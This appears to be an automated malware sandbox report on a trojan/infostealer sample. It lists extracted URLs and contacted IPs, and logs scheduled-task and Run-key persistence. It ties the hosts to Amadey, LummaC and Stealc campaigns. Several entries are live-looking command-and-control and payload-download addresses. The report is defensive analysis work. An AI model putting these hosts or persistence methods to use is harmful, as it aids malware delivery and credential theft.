https://www.ecosia.org/newtab/	d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpgRL	f570600774.exe, 0000000E.00000002.3190013417.00000000014A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/steam/random.exeZP	skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://static.adsafeprotected.com/firefox-etp-jsQUERY_CONTENT_FLAG_SELECTION_IME_SELECTEDCONVERTEDT	firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.inbox.lv/rfc2368/?value=%shandlerSvc	firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.com/	firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421733253.00000214ADB03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 0000001D.00000002.3420072274.00000214AD868000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001D.00000002.3408991340.00000214ABF80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3332867628.00000214ACD45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3356098124.00000214ACD6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	false		high
http://80.82.65.70/files/download0/files/download	f30149f036.exe, 0000000C.00000002.3479111946.0000000000F69000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000002.3488485448.00000000055CF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.mozilla.com/v1i#	firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3447537019.00000214B5D38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	176986cc9c.exe, 0000000D.00000003.3218675497.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3137799586.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106209007.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3339750999.00000000053D8000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3271110389.00000000053DD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3342488948.00000000053D8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/well/random.exe_Q	skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://fb.me/use-check-prop-typesG	firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	false		high
https://accounts.go	firefox.exe, 0000001D.00000002.3370890446.0000006AF5BD8000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fb.me/react-polyfillsP	firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fb.me/react-polyfillsO	firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	false		high
https://yandex.com	firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp	false		high
https://youtube.com/accoSt?=https://a	firefox.exe, 0000001D.00000002.3370890446.0000006AF5BD8000.00000004.00000010.00020000.00000000.sdmp	false		high
https://account.bellmedia.c	firefox.exe, 0000001D.00000002.3421733253.00000214ADB03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/main/anti-tracking-url-decorationscheduleCheckFor	firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	false		high
http://youtube.com/	firefox.exe, 0000001D.00000002.3443577003.00000214B3C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3341237846.00000214B3C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3329574781.00000214B3C77000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 0000001D.00000002.3421733253.00000214ADB21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/user-media/addon_icons/784/784287-64.png?modified=mcrushedThis	firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3434823097.00000214AF403000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	d0d9725343.exe, 0000000B.00000003.2953198122.00000000038BD000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3165168016.000000000586F000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3314092869.0000000005414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3412078877.00000214AC441000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3434823097.00000214AF403000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored	firefox.exe, 0000001D.00000002.3442726709.00000214B3C0F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-pixelcolor-mix(in	firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	176986cc9c.exe, 0000000F.00000003.3316379231.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpncodedM=	skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causeshttps://support.mozilla.org	firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 0000001D.00000002.3426975852.00000214AEC69000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 0000001D.00000003.3318498425.00000214ABF64000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-07/schema#-	firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.wykop.pl/	firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vk.com/	firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe-P	skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.olx.pl/	firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%sFailed	firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpph	f570600774.exe, 0000000E.00000002.3190013417.00000000014B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/complete/	firefox.exe, 0000001D.00000002.3442726709.00000214B3C5F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gpuweb.github.io/gpuweb/get	firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help	firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	false		high
https://www.google.com/searchLOAD_ANONYMOUS_ALLOW_CLIENT_CERTctrlTab-showAll-container	firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz:443/api	176986cc9c.exe, 0000000D.00000003.3274382491.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3218627779.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3235485658.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190538036.00000000012C6000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3273337235.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3274066279.00000000012CB000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3190825384.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarningElem	firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001D.00000002.3431199683.00000214AF1C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.comresource://normandy/lib/PrefUtils.sys.mjsresource://normandy/lib/Te	firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://json-schema.org/draft-06/schema#	firefox.exe, 0000001D.00000002.3414473910.00000214AC854000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.avito.ru/	firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3456418120.000028C352713000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3422411758.00000214ADC4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421104125.00000214ADAB1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe;P	skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.48.1	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false
80.82.65.70	unknown	Netherlands	202425	INT-NETWORKSC	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
172.67.139.78	drive-connect.cyou	United States	13335	CLOUDFLARENETUS	true
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1571920
Start date and time:	2024-12-09 21:07:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@55/31@28/14
EGA Information:	Successful, ratio: 87.5%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.19.238, 23.218.210.69, 173.194.222.84, 2.20.41.214, 172.217.17.46, 20.231.128.66, 13.107.246.63, 172.202.163.200, 23.218.208.109
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, aus5.mozilla.org, learn.microsoft.com, e11290.dspg.akamaiedge.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, star-azurefd-prod.trafficmanager.net, login.live.com, learn.microsoft.com.edgekey.net, client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, detectportal.prod.mozaws.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, location.services.mozilla.com, wcpstatic.microsoft.com
Execution Graph export aborted for target d0d9725343.exe, PID 4140 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:09:00	API Interceptor	459126x Sleep call for process: skotes.exe modified
15:09:13	API Interceptor	8x Sleep call for process: d0d9725343.exe modified
15:09:33	API Interceptor	63x Sleep call for process: 176986cc9c.exe modified
15:09:50	API Interceptor	115x Sleep call for process: f30149f036.exe modified
21:07:59	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
21:09:32	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 176986cc9c.exe C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe
21:09:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f570600774.exe C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe
21:09:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3981530833.exe C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe
21:09:58	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 536e42fc8b.exe C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe
21:10:06	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 176986cc9c.exe C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe
21:10:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f570600774.exe C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe
21:10:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 3981530833.exe C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.48.1	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/
80.82.65.70	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, Vidar, XWorm	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
contile.services.mozilla.com	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
example.org	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
s-part-0035.t-0009.t-msedge.net	https://xxx.cloudlawservices.com/fROBJ/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	Play_VM-NowCRQW.html	Get hash	malicious	HTMLPhisher	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	SJqOoILabX.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	13.107.246.63
	8GHb2yuPOk.exe	Get hash	malicious	Amadey, LummaC Stealer	Browse	13.107.246.63
	l6SLjhPkk5.exe	Get hash	malicious	Amadey	Browse	13.107.246.63
	W7ZBbzV7A5.exe	Get hash	malicious	Unknown	Browse	13.107.246.63
	file.exe	Get hash	malicious	Unknown	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	GLAMPITECT++LTD+(PROPOSAL).eml	Get hash	malicious	unknown	Browse	104.16.144.15
	https://xxx.cloudlawservices.com/fROBJ/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.64.1
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.79.7
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.64.1
	https://quiet-sun-5d9f.atmos4.workers.dev/login	Get hash	malicious	Unknown	Browse	104.21.50.75
	attachDocx.docx	Get hash	malicious	Unknown	Browse	104.17.25.14
	Play_VM-NowCRQW.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc	Browse	172.67.165.166
